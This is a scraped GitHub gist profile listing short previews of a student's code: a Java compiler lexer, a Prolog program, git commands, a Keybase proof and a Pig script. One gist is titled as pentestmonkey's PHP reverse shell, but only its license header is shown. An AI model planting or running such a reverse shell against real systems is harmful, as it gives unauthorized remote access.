Skip to content

Instantly share code, notes, and snippets.

View simongomez95's full-sized avatar

Simón Gómez simongomez95

  • Medellín, Colombia
View GitHub Profile
@simongomez95
simongomez95 / OTRO GIST MAS
Created September 27, 2015 17:43
GistTrial
vfgvfsdc
// Generated from DankcompilerAntlrLexer.g4 by ANTLR 4.5.1
package co.edu.eafit.dis.st027.p2015Dankcompiler.lexer;
import org.antlr.v4.runtime.Lexer;
import org.antlr.v4.runtime.CharStream;
import org.antlr.v4.runtime.Token;
import org.antlr.v4.runtime.TokenStream;
import org.antlr.v4.runtime.*;
import org.antlr.v4.runtime.atn.*;
@simongomez95
simongomez95 / checker
Created October 26, 2015 03:32
Checker para la wea
public static int checker(int a)
{
switch(a)
{
case 1: return 3;
case 10: return 1;
case 9: return 0;
case 5: return 2;
case 11: return 4;
case 2: return 5
package co.edu.eafit.dis.st027.p2015Dankcompiler.lexer;
import co.edu.eafit.dis.st027.p2015Dankcompiler.tokens.KeywordToken;
import co.edu.eafit.dis.st027.p2015Dankcompiler.tokens.IdentifierToken;
import co.edu.eafit.dis.st027.p2015Dankcompiler.tokens.EnteroToken;
import co.edu.eafit.dis.st027.p2015Dankcompiler.tokens.RealToken;
import co.edu.eafit.dis.st027.p2015Dankcompiler.tokens.SeparatorToken;
import co.edu.eafit.dis.st027.p2015Dankcompiler.tokens.OperatorToken;
import co.edu.eafit.dis.st027.p2015Dankcompiler.tokens.BooleanToken;
import co.edu.eafit.dis.st027.p2015Dankcompiler.tokens.Token;
package co;
import co.edu.eafit.dis.st027.p2015Dankcompiler.lexer.DankcompilerAntlrLexer;
import co.edu.eafit.dis.st027.p2015Dankcompiler.lexer.DankcompilerJFlexLexer;
import co.edu.eafit.dis.st027.p2015Dankcompiler.tokens.*;
import java.io.IOException;
import org.antlr.v4.runtime.ANTLRFileStream;
import org.antlr.v4.runtime.ANTLRInputStream;
import org.antlr.v4.runtime.Token;
import org.antlr.v4.runtime.*;
To untrack a single file that has already been added/initialized to your repository, i.e., stop tracking the file but not delete it from your system use: git rm --cached filename
To untrack every file that is now in your .gitignore:
First commit any outstanding code changes, and then, run this command:
git rm -r --cached .
This removes any changed files from the index(staging area), then just run:
@simongomez95
simongomez95 / php_reverse_shell.php
Created March 31, 2016 02:02
Php reverse shell script from pentestmonkey.net
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
start:- sum,nl.
sum:- write('X= '),read(X),
write('Y= '),read(Y),
S is X+Y,
write('Sum is '),write(S).
____
in_mind([c,i,n,c,o]).

Keybase proof

I hereby claim:

  • I am simongomez95 on github.
  • I am simongomez95 (https://keybase.io/simongomez95) on keybase.
  • I have a public key whose fingerprint is 07A9 6A5F F427 6162 73B9 FD2C E417 7E03 5621 C9F2

To claim this, I am signing this object:

empleados = LOAD '/datasets/otros/dataempleados.csv' USING PigStorage(',')
as (sector:int, id:int, salario:int, ano:int);
porsector = GROUP empleados BY sector;
promedios = FOREACH porsector GENERATE empleados.sector, AVG(empleados.salario);
DUMP promedios;